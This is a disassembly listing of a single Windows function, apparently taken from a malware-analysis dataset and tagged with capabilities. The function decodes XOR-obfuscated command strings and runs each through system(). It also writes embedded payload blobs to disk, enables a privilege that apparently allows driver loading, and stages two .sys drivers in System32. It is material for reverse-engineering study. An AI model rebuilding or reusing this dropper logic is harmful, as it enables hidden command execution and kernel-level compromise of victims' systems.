Function at 0x14005ce60
Capabilities:
Encode data using xor
Execute command
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x448]
sub rsp, 0x540
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
mov rax, qword [0x1400ac040]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
movups xmm0, xmmword [0x1400a2788]
mov eax, dword [0x1400a27b0]
xor esi, esi
movups xmm1, xmmword [0x1400a2798]
mov edi, dword [0x1400ac010]
mov r8d, esi
movdqa xmm9, xmmword [0x1400a2be0]
movdqa xmm7, xmmword [0x1400a2bd0]
movdqa xmm6, xmmword [0x1400a2ca0]
movdqa xmm8, xmmword [0x1400a2b30]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1400a27b4]
mov word [rsp + 0x6c], ax
movzx eax, byte [0x1400a27b6]
mov byte [rsp + 0x6e], al
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1400a27a8]
movsd qword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x50], xmm1
cmp edi, 2
jl 0x14005d02d
movdqa xmm0, xmmword [0x1400a2d10]
lea rcx, [rsp + 0x44]
movdqa xmmword [rbp - 0x50], xmm0
mov edx, dword [rbp - 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x14005cf40
cmp r8d, 0x2f
jge 0x14005d070
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x14005d040
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [0x1400a27f0]
mov r8d, esi
mov dword [rsp + 0x78], eax
movups xmm0, xmmword [0x1400a27b8]
movups xmm1, xmmword [0x1400a27c8]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.::cbz_v13_408N]
movups xmmword [rsp + 0x50], xmm1
movups xmmword [rsp + 0x60], xmm0
movsd xmm0, qword [0x1400a27e8]
movsd qword [rsp + 0x70], xmm0
cmp edi, 2
jl 0x14005d1cd
movdqa xmm0, xmmword [0x1400a2d10]
lea rcx, [rsp + 0x44]
movdqa xmmword [rbp - 0x50], xmm0
mov edx, dword [rbp - 0x50]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x38
jl 0x14005d0e0
cmp r8d, 0x3c
jge 0x14005d210
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x3c
jl 0x14005d1e0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a2758]
movups xmm1, xmmword [0x1400a2768]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x1400a2778]
movups xmmword [rsp + 0x50], xmm1
movups xmmword [rsp + 0x60], xmm0
cmp edi, 2
jl 0x14005d347
movdqa xmm0, xmmword [0x1400a2d10]
lea rcx, [rsp + 0x44]
movdqa xmmword [rbp - 0x50], xmm0
mov edx, esi
mov r8d, dword [rbp - 0x50]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm8
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x30
jl 0x14005d260
jmp 0x14005d380
lea r9, [rsp + 0x40]
mov r8d, esi
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x14005d350
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.GUF_QUVe]
mov r8d, esi
movups xmm1, xmmword [0x1400a2870]
mov eax, dword [0x1400a28a0]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.::cbz_v13_408______4F_fKQ]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x1400a2890]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
mov dword [rbp - 0x80], eax
cmp edi, 2
jl 0x14005d4dd
movdqa xmm0, xmmword [0x1400a2d10]
lea rcx, [rsp + 0x44]
movdqa xmmword [rbp - 0x50], xmm0
mov edx, dword [rbp - 0x50]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x40
jl 0x14005d3f0
cmp r8d, 0x44
jge 0x14005d520
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x44
jl 0x14005d4f0
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400a2800]
mov r8d, esi
movups xmm1, xmmword [0x1400a2810]
mov eax, dword [0x1400a2850]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x1400a2820]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x1400a2840]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x1400a2830]
mov dword [rbp - 0x70], eax
movzx eax, word [0x1400a2854]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
mov word [rbp - 0x6c], ax
cmp edi, 2
jl 0x14005d693
movdqa xmm4, xmmword [0x1400a2c40]
lea rcx, [rsp + 0x40]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x28
jl 0x14005d5a0
cmp r8d, 0x2b
jge 0x14005d6d4
movsxd rax, r8d
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop
mov eax, 0x94f2095
lea r9, [r9 + 2]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9 - 2], ax
cmp r8d, 0x2b
jl 0x14005d6a0
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14005d733
lea r9, [rbp - 0x3c]
mov dword [rbp - 0x3c], esi
mov r8d, 0x1d000
mov qword [rsp + 0x20], rsi
lea rdx, [0x1400ef400]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [0x1400a2700]
mov r8d, esi
movups xmm1, xmmword [0x1400a2710]
movzx eax, word [0x1400a2750]
movups xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [0x1400a2720]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x1400a2740]
movups xmmword [rsp + 0x50], xmm1
movups xmm1, xmmword [0x1400a2730]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rsp + 0x70], xmm1
mov word [rbp - 0x70], ax
cmp edi, 2
jl 0x14005d885
movdqa xmm4, xmmword [0x1400a2c40]
lea rcx, [rsp + 0x40]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x28
jl 0x14005d792
cmp r8d, 0x29
jge 0x14005d8d4
movsxd rax, r8d
lea r9, [rsp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 2]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x33
xor word [r9 - 2], ax
cmp r8d, 0x29
jl 0x14005d8a0
mov qword [rsp + 0x30], rsi
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14005d933
lea r9, [rbp - 0x3c]
mov dword [rbp - 0x3c], esi
mov r8d, 0x6650
mov qword [rsp + 0x20], rsi
lea rdx, [0x1400e8db0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rbp - 0x40]
xor r8d, r8d
mov dl, 1
mov ecx, 0xa
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
test eax, eax
js 0x14005d9c2
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, [rbp + 0x1e0]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32CoreDeviceDriver.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x14005d9c2
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, [rbp - 0x30]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32SmartConnectDriver.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
test eax, eax
js 0x14005d9c2
lea rdx, [rbp - 0x30]
lea rcx, [0x14010d1d0]
call fcn.14005c950
test eax, eax
js 0x14005d9c2
lea rdx, [rbp + 0x1e0]
lea rcx, [0x14010d3e0]
call fcn.14005c950
test eax, eax
js 0x14005d9c2
call fcn.14005cae0
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.14005da30
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop rbp
ret